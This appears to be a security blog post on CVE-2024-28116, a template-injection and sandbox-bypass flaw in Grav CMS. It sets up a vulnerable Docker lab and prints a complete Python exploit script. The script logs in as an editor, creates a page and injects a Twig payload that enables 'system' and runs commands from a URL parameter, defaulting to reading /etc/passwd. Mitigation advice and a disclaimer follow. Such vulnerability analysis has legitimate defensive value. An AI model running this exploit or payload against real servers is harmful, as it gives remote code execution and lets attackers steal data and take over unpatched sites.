Authenticated Server-Side Template Injection with Sandbox Bypass in Grav CMS (CVE-2024-28116)

Introduction

This blog post dives into CVE-2024-28116, a recently discovered vulnerability in Grav CMS versions prior to 1.7.45. This vulnerability allows an attacker with editor permissions to achieve Remote Code Execution (RCE) on the underlying server. We'll explore the technical details of the exploit, including the underlying mechanisms, potential impact and proof of concept.

Technical Breakdown

  1. Server-Side Template Injection (SSTI): Grav CMS utilizes Twig for templating. The vulnerability lies in the way Twig objects are handled during initialization. An attacker can inject malicious code into a web page template through crafted Twig directives.

  2. Security Sandbox Bypass: Grav CMS implements a security sandbox to restrict template execution. However, the vulnerability allows manipulation of the twig object itself. This bypasses the sandbox by enabling interaction with its methods and attributes.

Exploitation Steps

  • Gaining Editor Permissions: An attacker needs a valid Grav CMS account with editor permissions to exploit this vulnerability. These permissions allow them to edit and save web page content.

  • Crafting a Malicious Template: The attacker injects a specially crafted Twig directive into a web page template. This directive can achieve two goals:

    • Modifying system.twig.safe_functions and system.twig.safe_filters: These attributes define allowed functions and filters within the Twig environment. The attacker modifies these to include functions enabling arbitrary code execution (e.g., system).

    • Executing Arbitrary Code: With modified safe functions, the attacker can inject another Twig directive to execute the desired code on the server (e.g., {{ system('id') }}).

  • RCE and Persistence: Once the code is executed, the attacker can gain unauthorized access to the server and potentially achieve persistence by installing malware or modifying system configurations.

Proof of Concept

Since the vulnerability has been patched in version 1.7.45, we will install and configure version 1.7.44 for the sake of this PoC.

We can use the following Dockerfile to set it up:

FROM php:7.4-apache
LABEL maintainer="Andy Miller <rhuk@getgrav.org> (@rhukster)"
# Enable Apache Rewrite + Expires Module
RUN a2enmod rewrite expires && \
    sed -i 's/ServerTokens OS/ServerTokens ProductOnly/g' \
    /etc/apache2/conf-available/security.conf

# Install dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    unzip \
    libfreetype6-dev \
    libjpeg62-turbo-dev \
    libpng-dev \
    libyaml-dev \
    libzip4 \
    libzip-dev \
    zlib1g-dev \
    libicu-dev \
    g++ \
    git \
    cron \
    vim \
    wget \
    && docker-php-ext-install opcache \
    && docker-php-ext-configure intl \
    && docker-php-ext-install intl \
    && docker-php-ext-configure gd --with-freetype --with-jpeg \
    && docker-php-ext-install -j$(nproc) gd \
    && docker-php-ext-install zip \
    && rm -rf /var/lib/apt/lists/*

# set recommended PHP.ini settings
# see https://secure.php.net/manual/en/opcache.installation.php
RUN { \
    echo 'opcache.memory_consumption=128'; \
    echo 'opcache.interned_strings_buffer=8'; \
    echo 'opcache.max_accelerated_files=4000'; \
    echo 'opcache.revalidate_freq=2'; \
    echo 'opcache.fast_shutdown=1'; \
    echo 'opcache.enable_cli=1'; \
    echo 'upload_max_filesize=128M'; \
    echo 'post_max_size=128M'; \
    echo 'expose_php=off'; \
    } > /usr/local/etc/php/conf.d/php-recommended.ini

RUN pecl install apcu \
    && pecl install yaml-2.0.4 \
    && docker-php-ext-enable apcu yaml

# Set user to www-data
RUN chown www-data:www-data /var/www
USER www-data

# Define Grav specific version of Grav or use latest stable
ARG GRAV_VERSION=1.7.44

# Install grav
WORKDIR /var/www
RUN wget -O grav-admin.zip https://github.com/getgrav/grav/releases/download/1.7.44/grav
admin-v1.7.44.zip && \
    unzip grav-admin.zip -d grav-admin && \
    mv -T /var/www/grav-admin /var/www/html && \
    rm grav-admin.zip

# Create cron job for Grav maintenance scripts
RUN (crontab -l; echo "* * * * * cd /var/www/html;/usr/local/bin/php bin/grav scheduler 1>>
/dev/null 2>&1") | crontab -

# Copy custom Apache configuration
COPY apache.conf /etc/apache2/sites-available/000-default.conf

# Return to root user
USER root

# provide container inside image for data persistence
VOLUME ["/var/www/html"]
# ENTRYPOINT ["/entrypoint.sh"]
# CMD ["apache2-foreground"]
CMD ["sh", "-c", "cron && apache2-foreground"]

We need to ensure that the Apache configuration includes the necessary directives to handle directory indexing and default file serving. We can achieve this by adding a custom Apache configuration file to in Dockerfile.

Following apache.conf file will get the work done:

<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
    <Directory /var/www/html>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

We have the Dockerfile ready, now let's build the docker image:

docker build -t grav:latest .

Once the build is completed, we can now run the container to host Grav CMS:

docker run -p 8000:80 grav:latest

We can now access the Grav CMS admin panel at:

http://<CONTAINER_IP>/grav-admin/admin/

Let's first register a user to use in the exploit script. I have created a user with creds: whl/Pass3210

Once we have registered a user, we can move towards performing the attack. We are using following python script for the exploit:

import requests
import re
import argparse
from urllib.parse import urlparse
import string
import random

##############################################
# Enter here your Grav CMS editor credentials
username = "whl"
password = "Pass3210"
##############################################

# Create an argument parser
parser = argparse.ArgumentParser(description="Command-line arguments parser")

# Add the targeturl argument
parser.add_argument("-t", "--target_url", required=True, help="Target url in the format
'http[s]://hostname'")
parser.add_argument("-p", "--port", type=int, default=80, help="Port number (default is 80)")

# Parse the command-line arguments
args = parser.parse_args()

# Set the target server and port
url = args.target_url
port = args.port

# Validate the targeturl argument
if not re.match(r'^(https?://\w+)', url):
    print("Error: Invalid target_url format. It should be in the format 'http://hostname' or
'https://hostname'")
    exit(1)

# Build the web console URL and get the hostname
url_admin = url+":"+str(port)+"/grav-admin/admin"
parsed_url = urlparse(url)
host = parsed_url.hostname

# Send the initial GET request to obtain session cookie and login-nonce
response = requests.get(url_admin)
response.raise_for_status()  # Raise an exception if the request fails

# Extract the session cookie and login-nonce
session_cookie = response.headers.get('Set-Cookie')
login_nonce_match = re.search(r'<input type="hidden" name="login-nonce" value="([^"]+)"',
response.text)
if session_cookie and login_nonce_match:
    session_cookie = session_cookie.split(';', 1)[0]  # Remove any additional cookie attributes
    login_nonce = login_nonce_match.group(1)
    # Prepare the POST data
    post_data = {
        "data[username]": username,
        "data[password]": password,
        "task": "login",
        "login-nonce": login_nonce
    }
    # Set the headers for the POST request
    headers = {
        "Host": host,
        "Content-Type": "application/x-www-form-urlencoded",
        "Connection": "close",
        "Cookie": session_cookie
    }
    # Send the login POST request
    login_response = requests.post(url_admin, data=post_data, headers=headers)
    
    # Uncomment for Debug
    #login_response.raise_for_status()
    # Check if the login response is a 303 redirect
    if login_response.status_code == 303:
        # Extract the new session cookie and the URL from the response
        new_session_cookie = login_response.headers.get('Set-Cookie')
        
        # Send the GET request to access the Grav console
        console_response = requests.get(url_admin, headers={"Cookie": new_session_cookie})

        # Extract the "admin-nonce" parameter from the HTML content
        admin_nonce_match = re.search(r'admin_nonce: \'([^\']+)\'', console_response.text)
        if admin_nonce_match:
            admin_nonce = admin_nonce_match.group(1)
            
            # Prepare the POST data for the next request
            rand = ''.join(random.choices(string.ascii_uppercase + string.digits, k=4))
            page_name = "hacked_"+rand
            post_data = {
                "data[title]": page_name,
                "data[folder]": page_name,
                "data[route]": "",
                "data[name]": "default",
                "data[visible]": "1",
                "data[blueprint]": "",
                "task": "continue",
                "admin-nonce": admin_nonce
            }
            # Send the POST request to create the new page
            create_response = requests.post(url_admin, data=post_data, headers={"Cookie":
new_session_cookie})
            
            # Check if the response to the create-new-page POST request is successful
            if (create_response.status_code == 303 or create_response.status_code == 200):
                # Send the GET request to extract __unique_form_id__ and form-id values from
response
                url_new_page = url_admin+"/pages/"+page_name+"/:add"
                new_page_response = requests.get(url_new_page, headers={"Cookie":
new_session_cookie})
                
                # Extract the "form-nonce" and "__unique_form_id__" parameters from the
response body
                form_nonce_match = re.search(r'<input type="hidden" name="form-nonce" value=
([^"]+)"', new_page_response.text)
                unique_form_id_match = re.search(r'<input type="hidden"
name="__unique_form_id__" value="([^"]+)"', new_page_response.text)
                if form_nonce_match and unique_form_id_match:
                    form_nonce = form_nonce_match.group(1)
                    unique_form_id = unique_form_id_match.group(1)

                    # Prepare the POST data for the injection request
                    post_data = {
                        "task": "save",
                        "data[header][title]": page_name,
                        "data[content]": "{% set arr = {'1': 'system', '2':'foo'} %}\n{% set dump =
print_r(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) %}\n{% set cmd =
uri.query('do') is empty ? 'cat /etc/passwd' : uri.query('do') %}\n<pre>Cmd-Output:</pre
\n<h5>{{ system(cmd) }}</h5>",
                        "data[folder]": page_name,
                        "data[route]": "",
                        "data[name]": "default",
                        "data[header][body_classes]": "",
                        "data[ordering]": "1",
                        "data[order]": "",
                        "toggleable_data[header][process]": "on",
                        "data[header][process][markdown]": "1",
                        "data[header][process][twig]": "1",
                        "data[header][order_by]": "",
                        "data[header][order_manual]": "",
                        "data[blueprint]": "",
                        "data[lang]": "",
                        "_post_entries_save": "edit",
                        "__form-name__": "flex-pages",
                        "__unique_form_id__": unique_form_id,
                        "form-nonce": form_nonce,
                        "toggleable_data[header][published]": "0",
                        "toggleable_data[header][date]": "0",
                        "toggleable_data[header][publish_date]": "0",
                        "toggleable_data[header][unpublish_date]": "0",
                        "toggleable_data[header][metadata]": "0",
                        "toggleable_data[header][dateformat]": "0",
                        "toggleable_data[header][menu]": "0",
                        "toggleable_data[header][slug]": "0",
                        "toggleable_data[header][redirect]": "0",
                        "toggleable_data[header][twig_first]": "0",
                        "toggleable_data[header][never_cache_twig]": "0",
                        "toggleable_data[header][child_type]": "0",
                        "toggleable_data[header][routable]": "0",
                        "toggleable_data[header][cache_enable]": "0",
                        "toggleable_data[header][visible]": "0",
                        "toggleable_data[header][debugger]": "0",
                        "toggleable_data[header][template]": "0",
                        "toggleable_data[header][append_url_extension]": "0",
                        "toggleable_data[header][redirect_default_route]": "0",
                        "toggleable_data[header][routes][default]": "0",
                        "toggleable_data[header][routes][canonical]": "0",
                        "toggleable_data[header][routes][aliases]": "0",
                        "toggleable_data[header][admin][children_display_order]": "0",
                        "toggleable_data[header][login][visibility_requires_access]": "0",
                        "toggleable_data[header][permissions][inherit]": "0",
                        "toggleable_data[header][permissions][authors]": "0",
                    }

                    # Send the final POST request to inject the payload on the page previously
created 
                    inj_response = requests.post(url_new_page, data=post_data, headers
{"Cookie": new_session_cookie})
                    
                    # Check if the injection response is successful
                    if (inj_response.status_code == 303 or inj_response.status_code == 200):
                        # Check the updated page following the final redirection
                        final_location = url_admin+"/pages/"+page_name
                        final_redirect_response = requests.get(final_location, headers={"Cookie":
new_session_cookie})
                        
                        print("RCE payload injected, now visit the malicious page at:
'"+url+":"+str(port)+"/"+page_name+"?do='")
                    else:
                        print("[E] Failed to inject the RCE payload, the injection response has not
status 303 or 200...")
                else:
                    print("[E] Could not find 'form-nonce' and '__unique_form_id__' in the response
body...")
            else:
                print("[E] Failed to create a new page, the response has not status 303 or 200...")
        else:
            print("[E] Could not find 'admin-nonce' in the Login response body...")
    else:
        print("[E] Login failed, the response is not a 303 redirect...")
else:
    print("[E] Could not extract session cookie and login-nonce from the pre-login response...")

This Python script automates the exploitation, here's a brief overview of what the above script does:

  1. It imports necessary libraries: requests, re (for regular expressions), argparse (for parsing command-line arguments), and random and string (for generating random strings).

  2. It defines the Grav CMS editor credentials (username and password) for authentication.

  3. It sets up an argument parser to handle command-line arguments. The script expects two arguments: target_url (the URL of the target Grav CMS instance) and port (the port number, default is 80).

  4. It validates the target_url argument to ensure it's in the correct format (http:// or https:// followed by a hostname).

  5. It sends an initial GET request to the Grav CMS admin page to obtain the session cookie and login-nonce.

  6. It extracts the session cookie and login-nonce from the response.

  7. It sends a POST request to login to the Grav CMS admin page using the extracted session cookie and login-nonce.

  8. If the login is successful (returns a 303 redirect), it extracts the new session cookie and sends a GET request to access the Grav console.

  9. It extracts the admin-nonce parameter from the response to further authentication.

  10. It sends a series of POST requests to create a new page, inject a Remote Code Execution payload, and finalize the injection.

  11. If successful, it prints a message with the URL of the injected page containing the payload.

We can execute the exploit script on the container IP running the Grav CMS:

python3 graver.py -t http://<CONTAINER_IP> -p 80

If the script ran successfully and injected the RCE payload, it will give us the malicious page it has created.

We can verify the new page creation with the exploit payload in the admin panel as well.

Let's go to the malicious page and see if it is executing system commands and returning the output to the page.

Impact

A successful exploit of CVE-2024-28116 can have severe consequences for the affected server:

  • Complete Server Compromise: The attacker gains full control over the server, allowing them to steal data, deface websites, deploy malware, or launch further attacks.

  • Lateral Movement: The compromised server can be used as a springboard to target other systems within the network.

Mitigation

  • Update Immediately: Patching your Grav CMS installation to version 1.7.45 or later is the most critical step. This version addresses the vulnerability and significantly reduces the attack surface.

  • Least Privilege: Enforce the principle of least privilege for user accounts. Editor permissions should only be granted to users with a legitimate need for them.

  • Regular Security Audits: Regularly conduct security audits to identify and address potential vulnerabilities before attackers exploit them.

Conclusion

CVE-2024-28116 highlights the importance of timely security patching and proper user permission management. By staying updated and implementing security best practices, administrators can significantly reduce the risk of compromise for their Grav CMS installations.

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-28116 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2023-33733: RCE in Reportlab's HTML Parser
CVE-2023-33733: RCE in Reportlab's HTML Parser
2024-05-02
James McGill
Unmasking Ray's Vulnerability: A Deep Dive into CVE-2023-48022
Unmasking Ray's Vulnerability: A Deep Dive into CVE-2023-48022
2024-04-21
James McGill
Redis Exploit: A Technical Deep Dive into CVE-2022-24834
Redis Exploit: A Technical Deep Dive into CVE-2022-24834
2024-04-21
James McGill
CVE-2024-27198: Dissecting a Critical Authentication Bypass in JetBrains TeamCity
CVE-2024-27198: Dissecting a Critical Authentication Bypass in JetBrains TeamCity
2024-04-01
James McGill
CVE-2021-43798: Dissecting the Grafana Path Traversal Vulnerability
CVE-2021-43798: Dissecting the Grafana Path Traversal Vulnerability
2024-03-30
James McGill
SQL Injection Alert! Dissecting CVE-2024-1698 in NotificationX for WordPress
SQL Injection Alert! Dissecting CVE-2024-1698 in NotificationX for WordPress
2024-03-10
James McGill